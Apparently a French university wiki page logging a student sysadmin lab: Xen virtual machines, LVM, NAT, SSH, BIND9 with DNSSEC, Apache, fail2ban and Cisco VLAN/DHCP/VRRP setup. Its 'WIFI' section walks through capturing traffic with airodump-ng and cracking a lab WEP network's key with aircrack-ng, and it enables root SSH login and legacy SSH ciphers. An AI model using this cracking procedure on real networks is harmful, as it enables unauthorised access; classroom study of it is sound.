« Atelier SysRes SE4 2025/2026 E11 » : différence entre les versions
| Ligne 274 : | Ligne 274 : | ||
== '''Serveur DNS''' == | == '''Serveur DNS''' == | ||
<syntaxhighlight lang="text"> | Nous avons configuré un serveur DNS pour gérer les noms de domaine de nos machines virtuelles : '''elvis21.tech''' . | ||
La première étape était d'acquérir les noms de domaine pour '''Elf''' sur '''Gandi.''' La seconde étape était d'acquerir les certificats. | |||
Après avoir suivi le tutoriel, nous obtenons deux fichiers : '''myserver.key''' (la clé privée) et '''server.csr''' (la demande de certificat). Ces fichiers nous permettrons de configurer '''DNSSEC''' et sécuriser la zone DNS.<syntaxhighlight lang="text"> | |||
$TTL 86400 | $TTL 86400 | ||
@ IN SOA ns1.elvis21.tech. admin.elvis21.tech. ( | @ IN SOA ns1.elvis21.tech. admin.elvis21.tech. ( | ||
Version du 21 février 2026 à 20:26
Projet Virtualisation /Administration Systeme-Réseau - Machine SE4.Elf
Dans le cadre de ce projet, nnous avons déployés une infrastructure composée de deux machines dédiées aux services et d’une machine mandataire, le tout à l’aide de l'environnement Xen.
Création des machines virtuelles
Les machines sont créées sur le Dom0 Capbreton.plil.info en faisant un ssh root@capbreton.plil.info
Sur la capbreton.plil.info,
xen create-image --hostname=SE4.Elf --dhcp --dir=/usr/local/xen --size=10G --dist=excalibur --memory=2G --bridge=Styx --force
Xen-create-image : Commande permettant de créer une nouvelle machine virtuelle Xen
--hostname=SE4.Elf : Pour le nom de la machine
--size=10G : La taille du disque
--bridge=Styx : Le nom du bridge
Par la suite il faut creer un fichier dans le répertoire /etc/network/interfaces.d du Dom0 pour créer notre pont. (NB: Il faut noter que cette etape on peut la faire avant la creation de notre VM
auto Styx
iface Styx inet manual
bridge_ports none
up ip link set $IFACE up
down ip link set $IFACE down
La commande xen list : Affiche les machines virtuelles (VM) qui sont actuellement gérées par Xen (Elle fait la liste des VM allumée).
root@capbreton:~# xen list
SE4.batman 322 2048 1 -b---- 37.5
SE4.Moon 326 2048 1 -b---- 41.1
SE4.C2 332 1024 1 -b---- 18.1
SE4.Tension 343 2048 1 -b---- 7.8
SE4.CachyOS 365 2048 1 -b---- 10.2
SE4.RockStar 367 2048 1 -b---- 6.1
SE4.Kasav 368 2048 1 -b---- 5.9
SE4.Elf 369 2048 1 -b---- 5.6
SE4.catwoman 370 2048 1 -b---- 6.1
-La commande xen create /etc/xen/SE4.Elf.cfg permet d'allumer la Machine virtuellle.
-La commande xen console SE4.Elf permet d'acceder / de se connecter a la VM.
-La commande xen shutdown SE4.Elf permet d'eteindre la machine virtuelle.
Lors de la tentative de connexion, il y'a une un probleme , pour y remedier, Ctrl + AltGr + ] => vi => :q! => reconnexion
Pour voir le mot de passe de la VM, cat /var/log/xen-tools/SE4.Elf.log
Installation Summary
---------------------
Hostname : SE4.Elf
Distribution : excalibur
MAC Address : 00:16:3E:83:A3:C7
IP Address(es) : dynamic
SSH Fingerprint : SHA256:IrPhxhB4m1s+eaPaLynS6NlE/HfL78+y3ba3DPuHFQU (DSA)
SSH Fingerprint : SHA256:RT+MZtlFxC7BrdYORzOcxDX+SKsJrLzOGWWngX2pKz4 (ECDSA)
SSH Fingerprint : SHA256:aLYvYqUPX2Q/J5P0nTpdpMyrFD5xopRqkFKuYb7QUo4 (ED25519)
SSH Fingerprint : SHA256:b0ddm9FYx4/losJU8/pE9MXx7102ygkAMjChOvPlNhE (RSA)
Root Password : X
- La commande vi /etc/hostname pour changer le nom de la VM
Configuration de la Machine de Services
Il faut creer deux partitions LVM de 10G pour votre machine virtuelle et modifiez le fichier de configuration de la machine virtuelle de services pour faire en sorte que les répertoires /var et /home de la machine virtuelle soient implantés sur ces partitions LVM
Création des volumes logiques
lvcreate -L 10G -n lv_var_SE4Elf
lvcreate -L 10G -n lv_home_SE4Elf
Faire lvdisplay pour faire la verification
Depuis le serveur Capbreton, on a créé 2 fichiers de partitions dans /dev/virtual pour chaque machines de services
root@capbreton:/dev/virtual# ls
SE4.Poseidon.home lv_home_SE4Elf lv_var_SE4Elf SE4.Gaby.home SE4.Poseidon.var SE4.Gaby.var
Apres nous avons modifié le fichier /etc/xen/SE4.Elf.cfg piur y ajouter deux répertoires
disk = [
'file:/usr/local/xen/domains/SE4.Elf/disk.img,xvda2,w',
'file:/usr/local/xen/domains/SE4.Elf/swap.img,xvda1,w',
'phy:/dev/vg0/lv_var_SE4Elf,xvdb,w',
'phy:/dev/vg0/lv_home_SE4Elf,xvdc,w'
]
Création et formatage des partitions
mkfs -t ext4 /dev/xvdb # Formatage de la partition pour /var
mkfs -t ext4 /dev/xvdc # Formatage de la partition pour /home
Préparer les partitions et déplacer les données :
- Montage temporaire des partitions dans
/mnt:
Pour pouvoir déplacer les données, nous avons du monter les nouvelles partitions LVM dans un répertoire temporaire /mnt. On a créé 2 partitions une pour /var et une /home sous les noms xvdb et xvdc dans /dev ,que l'on monte avec :
mount /dev/xvdb /mnt
mount /dev/xvdc /mnt
- Déplacement des fichiers existants
mv /var/* /mnt # Déplacement des fichiers de /var vers la nouvelle partition
Démonter les partitions temporaires :
Avant de configurer les montages permanents, on démonte les partitions des répertoires temporaires (/mnt)
umount /mnt # Démontage après transfert des données
Modification du fichier /etc/fstab pour un montage automatique au démarrage :
On modifie le fichier /etc/fstab, qui contient la liste des partitions.
Ajout des nouvelles partitions LVM au fichier /etc/fstab :
- /dev/xvdb /var ext4 defaults 0 2
- /dev/xvdc /home ext4 defaults 0
# /etc/fstab: static file system information.
#
# <file system> <mount point> <type> <options> <dump> <pass>
proc /proc proc defaults 0 0
devpts /dev/pts devpts rw,noexec,nosuid,gid=5,mode=620 0 0 /dev/xvda1 none swap sw 0 0
/dev/xvda1 none swap sw 0 0
/dev/xvda2 / ext4 noatime,nodiratime,errors=remount-ro 0 1
/dev/xvdb /var ext4 defaults 0 2
/dev/xvdc /home ext4 defaults 0 2
Monter les partitions définies dans fstab :
Pour monter toutes les partitions définies dans le fichier /etc/fstab :
mount -a # Remontage des partitions définies dans fstab
Cette commande monte toutes les partitions qui ne sont pas encore montées et qui sont définies dans /etc/fstab
remet les données dans le fichier déplacer.
Puis, pour appliquer les changement nous avons redémarré la VM en faisant le xen shutdown SE4.Elf , xen create /etc/xen/SE4.Elf.cfg, xen console SE4.Elf
Vérification des partitions montées
Après avoir configuré le montage automatique et remonté les partitions, nous devons vérifier que les partitions sont correctement montées. Nous avons utilisé la commande df -h pour afficher l'espace disque utilisé et disponible sur les partitions montées.
Cela nous permet de confirmer que les partitions /var et /home sont correctement montées sur les répertoires associés et qu'il n'y a pas de problème d'espace disque.
.
Configuration Reseau
Tout d'abord nous avons modifier le fichier /etc/xen/SE4.Elf pour y ajouter une nouvelle interface sur le bridge de la promotion SE4.
Afin d’assurer une connectivité IPv6 stable et routée pour un accès direct à Internet, ainsi qu’une communication efficace avec la machine mandataire, nous avons modifié le fichier /etc/network/interfaces. De plus, une adresse IPv4 fixe a été attribuée sur le réseau privé afin de garantir une interaction optimale entre les machines de services et leur machine mandataire.
Mise a jour du fichier /etc/network/interfaces
# Interface loopback
auto lo
iface lo inet loopback
# Interface principale (eth0) - IPv4 statique + IPv6 automatique
auto eth0
iface eth0 inet static
address 192.168.50.12
netmask 255.255.255.254 # /24
gateway 192.168.50.1 # @mandataire
iface eth0 inet6 auto # Attribution automatique d'une IPv6
# Interface secondaire (eth1) - IPv6 automatique uniquement
auto eth1
iface eth1 inet6 auto
Il faut ensuite aciver l'interface en faisant ifdown eth0 && ifup eth0 et puis ifdown eth1 && ifup eth1 aprés faire le systemctl restart networking pour mettre a jour les configurations du reseau.
Les commandes :
- ip route show : pour afficher la table de routage.
- ip -4 addr show : pour afficher l'adresse ipv4 #192.168.50.12
- ip -6 addr show : pour afficher l'adresse ipv6 #2001:660:4401:60a0:216:3eff:fe83:a3c8
Grace a toute ses configurations, nous pouvons faire un ping sur la machine mandataire RockStar et sur la machine de service Kasav
root@Elf:~# ping 192.168.50.13 #ping sur la machine de service Kasav
PING 192.168.50.13 (192.168.50.13) 56(84) bytes of data.
64 bytes from 192.168.50.13: icmp_seq=1 ttl=64 time=0.132 ms
64 bytes from 192.168.50.13: icmp_seq=2 ttl=64 time=0.318 ms
64 bytes from 192.168.50.13: icmp_seq=3 ttl=64 time=0.369 ms
64 bytes from 192.168.50.13 icmp_seq=4 ttl=64 time=0.356 ms
--- 192.168.50.13 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3077ms
Installation des services
Installation des services pour la suite du tp, les services a installé sont
- Ssh : pour permettre l’accès à distance sécurisé à la machine pour l’administration et la maintenance
- Apache2 (Serveur web) : pour heberger des applications et sites web accessibles aux utilisateurs
- Bind9 : pour assurer la résolution de noms de domaine, essentielle pour le bon fonctionnement des services sur le réseau
La commnde pour installer est apt install -y openssh-server apache2 bind9Après l'installation :
Vérifiez si les services sont en cours d'exécution systemctl status ssh apache2 bind9.
Activez et démarrez les services si nécessaire systemctl enable --now ssh apache2 bind9
Configuration de la machine mandataire
Mise à jour du fichier
Modification du fichier /etc/network/interfaces
# Fichier /etc/network/interfaces
auto lo
iface lo inet loopback
# Interface publique (réseau routé)
auto eth1
iface eth1 inet static
address 193.48.57.172/27
iface eth1 inet6 auto
# Interface privée
auto eth0
iface eth0 inet static
address 192.168.50.1/24
iface eth0 inet6 auto
Il faut ensuite aciver l'interface en faisant ifdown eth0 && ifup eth0 et puis ifdown eth1 && ifup eth1 aprés faire le systemctl restart networking pour mettre a jour les configurations du reseau.
Mise en place de la mascarade (NAT)
La mise en place de la masquerade (NAT) permet aux machines d’un réseau privé d’accéder au réseau externe en utilisant l’adresse IP publique de la passerelle, tout en masquant l’architecture interne et en améliorant la sécurité.
echo "net.ipv4.ip_forward=1" >> /etc/sysctl.conf
sysctl -p
# Règles iptables pour la mascarade
iptables -t nat -A POSTROUTING -s 192.168.50.0/24 -o eth1 -j MASQUERADE
iptables -A FORWARD -i eth0 -o eth1 -j ACCEPT
iptables -A FORWARD -i eth1 -o eth0 -m state --state RELATED,ESTABLISHED -j ACCEPT
# Sauvegarde pour persistance
iptables-save > /etc/iptables/rules.v4
# Ajout dans interfaces pour chargement au démarrage
post-up iptables-restore < /etc/iptables/rules.v4
Installation des paquetages :
De la même manière que pour Moon et Apollo on installe les paquetages :
apt install -y openssh-server apache2 bind9
Puis après l'installation on vérifie si les services sont en cours d'exécution :
systemctl status ssh apache2 bind9
Activez et démarrez les services si nécessaire :
systemctl enable --now ssh apache2 bind9
Serveur SSH
Notre machine virtuelle doit etre accessible par SSH, on autorise donc l'accès par l'utilisateur Root en modifiant le fichier de de configuration /etc/ssh/sshd_config :
PermitRootLogin yes
Il faut ensuite redemarrer le serveur ssh en faisant :
root@Elf:/etc/ssh# /etc/init.d/ssh restart
Pour gérer la redirection du SSH, on doit configurer nftables sur nos machines de service en redirigeant les ports 2201 et 2202
nft add table ip nat
nft add chain ip nat PREROUTING { type nat hook prerouting priority 0 \; }
nft add rule ip nat PREROUTING tcp dport 2201 dnat to 192.168.50.12:22
nft add rule ip nat PREROUTING tcp dport 2202 dnat to 192.168.50.3:22
nft add chain ip nat POSTROUTING { type nat hook postrouting priority 100 \; }
nft add rule ip nat POSTROUTING masquerade
Maintenant, on peut se connecter en SSH sur les machiches virtuelles de services: De Elf, on peut se connecter a Kasav
root@Elf:/# ssh root@192.168.50.3
root@192.168.50.3's password:
Linux Kasav 4.19.0-26-amd64 #1 SMP Debian 4.19.304-1 (2024-01-09) x86_64
The programs included with the Devuan GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Feb 3 11:34:45 2026 from 192.168.50.12
root@Kasav:~#
Serveur DNS
Nous avons configuré un serveur DNS pour gérer les noms de domaine de nos machines virtuelles : elvis21.tech .
La première étape était d'acquérir les noms de domaine pour Elf sur Gandi. La seconde étape était d'acquerir les certificats.
Après avoir suivi le tutoriel, nous obtenons deux fichiers : myserver.key (la clé privée) et server.csr (la demande de certificat). Ces fichiers nous permettrons de configurer DNSSEC et sécuriser la zone DNS.
$TTL 86400
@ IN SOA ns1.elvis21.tech. admin.elvis21.tech. (
3298267246 ;Version
3600 ;Refresh
1800 ;Retry
604800 ;Expire
86400 ) ;Minimum TTL
;
@ IN NS ns1.elvis21.tech.
ns1 IN A 192.168.50.12
ns2 IN A 192.168.50.1
IN A 192.168.50.12
IN AAAA 2001:660:4401:60a0:216:3eff:fe83:a3c8
www IN A 192.168.50.12
root@Elf:/etc/bind# cat named.conf.local
zone "elvis21.tech" {
type primary;
file "/etc/bind/zones/db.elvis21.tech";
allow-transfer {
2001:660:4401:60a0:216:3eff:fe70:7f1c;
2001:660:4401:60a0:216:3eff:fe9a:ea1c;
};
also-notify { 2001:660:4401:60a0:216:3eff:fe70:7f1c; };
inline-signing yes; // DNSSEC automatique
key-directory "/etc/bind/keys"; // répertoire des clefs, attention aux droits
dnssec-policy "dnssecpolicy"; // politique pour les clefs de chiffrement
};
zone "kasav.online" {
type secondary;
file "/etc/bind/backup/db.kasav.online";
primaries { 2001:660:4401:60a0:216:3eff:fe9a:ea1c; };
};
dnssec-policy "dnssecpolicy" {
keys {
ksk key-directory lifetime unlimited algorithm 13;
zsk key-directory lifetime unlimited algorithm 13;
};
nsec3param;
};
root@Elf:/etc/bind# named-checkzone elvis21.tech /etc/bind/db.elvis21.tech
zone elvis21.tech/IN: loaded serial 3298267246
OK
openssl req -nodes -newkey rsa:2048 -sha256 -keyout elvis21.tech.key -out elvis21.csr
Mise en place du serveur Apache (http et https)
apt update
apt install apache2
systemctl enable --now apache2
Installation Fail2ban
root@Elf:/# apt install fail2ban
Installing:
fail2ban
root@Elf:/# systemctl status fail2ban
fail2ban.service - Fail2Ban Service
Loaded: loaded (/usr/lib/systemd/system/fail2ban.service, disabled)
Active: active (running)
root@Elf:/# service fail2ban status
Status of Authentication failure monitor: fail2ban is running.
root@Elf:/# fail2ban-client status
Status
|- Number of jail: 1
`- Jail list: sshd
root@Elf:/# fail2ban-client status sshd
Status for the jail: sshd
|- Filter
| |- Currently failed: 0
| |- Total failed: 0
| `- File list: /var/log/auth.log
`- Actions
|- Currently banned: 0
|- Total banned: 0
`- Banned IP list:
Mise en place du serveur Apache (http et https)
root@Elf:/# service apache2 status
apache2 is running.
WIFI
Faire ip link
ensuite sudo airodump-ng wlanx -- Remplacer x par le numero du wlan present
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
04:DA:D2:9C:50:54 -62 23 11 0 4 54e. WEP WEP cracotte05
04:DA:D2:9C:50:5A -61 2 1 0 4 54e. WEP WEP cracotte11
sudo airodump-ng wlan1 --bssid 04:DA:D2:9C:50:5A -c4 --write log_airdump
sudo airodump-ng wlan1 --write airdump --bssid 04:DA:D2:9C:50:5A -c4
17:31:10 Created capture file "airdump-04.cap".
CH 4 ][ Elapsed: 39 mins ][ 2026-02-10 18:11 ][ fixed channel wlan1: 13
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
04:DA:D2:9C:50:5A -58 3 9766 43771 21 4 54e. WEP WEP cracotte11
BSSID STATION PWR Rate Lost Frames Notes Probes
04:DA:D2:9C:50:5A 40:A5:EF:01:2E:FA -77 0 -48e 127 46300
Quitting...
aircrack-ng airdump-05.cap
Aircrack-ng 1.7
[00:25:47] Tested 869 keys (got 34546 IVs)
Got 35002 out of 35000 IVsStarting PTW attack with 35002 KB depth byte(vote)
0 0/ 2 FF(50176) 1C(43520) E6(42752) 3F(42496) B6(42496)
1 0/ 6 FF(48128) AC(46336) 90(42752) 8E(42496) 04(42240)
2 0/ 1 BD(50688) 7F(43776) 75(42752) E6(41216) F2(41216)
3 9/ 3 CE(39936) 05(39680) 5C(39680) 9A(39168) F4(39168)
4 41/ 4 6C(37376) 1E(37120) 80(37120) 88(37120) A7(37120)
KEY FOUND! [ FF:FF:FF:FF:FA:BC:12:CB:AE:EE:EE:EE:EE ]
ssh -oKexAlgorithms=+diffie-hellman-group14-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.1
C9200-E304>en
Password:
C9200-E304#config t
Enter configuration commands, one per line. End with CNTL/Z.
C9200-E304(config)#vlan 28
C9200-E304(config-vlan)#name PoolEvora
C9200-E304(config-vlan)#exit
C9200-E304(config)#exit
C9200-E304#write
Building configuration...
[OK]
C9200-E304#en
C9200-E304#config t
Enter configuration commands, one per line. End with CNTL/Z.
C9200-E304(config)#ip dhcp pool PoolEvora
C9200-E304(dhcp-config)#network 10.60.11.0 255.255.255.0
C9200-E304(dhcp-config)#dns-server 193.48.57.172
C9200-E304(dhcp-config)#default-router 10.60.11.254
C9200-E304(dhcp-config)#exit
C9200-E304(config)#exit
C9200-E304#write
Building configuration...
[OK]
ip dhcp pool PoolTom
network 10.60.10.0 255.255.255.0
dns-server 193.48.57.168
default-router 10.60.10.254
!
ip dhcp pool PoolEvora
network 10.60.11.0 255.255.255.0
dns-server 193.48.57.172
default-router 10.60.11.254
VRRP
C9200-E304>en
Password:
C9200-E304#config t
Enter configuration commands, one per line. End with CNTL/Z.
C9200-E304(config)#interface vlan 28
C9200-E304(config-if)#ip address 10.60.11.2 255.255.255.0
C9200-E304(config-if)#ipv6 address 2001:660:4401:60ab::2/64
C9200-E304(config-if)#vrrp 28 address-family ipv4
C9200-E304(config-if-vrrp)#priority 110
C9200-E304(config-if-vrrp)#address 10.60.11.1 primary
C9200-E304(config-if-vrrp)#exit
C9200-E304(config-if)#exit
C9200-E304(config)#exit
C9200-E304#write
Building configuration...
[OK]
WIFI e304
ssh admin@172.27.0.4 \
-o KexAlgorithms=+diffie-hellman-group1-sha1 \
-o HostKeyAlgorithms=+ssh-rsa \
-o Ciphers=+aes128-cbc \
-o MACs=+hmac-sha1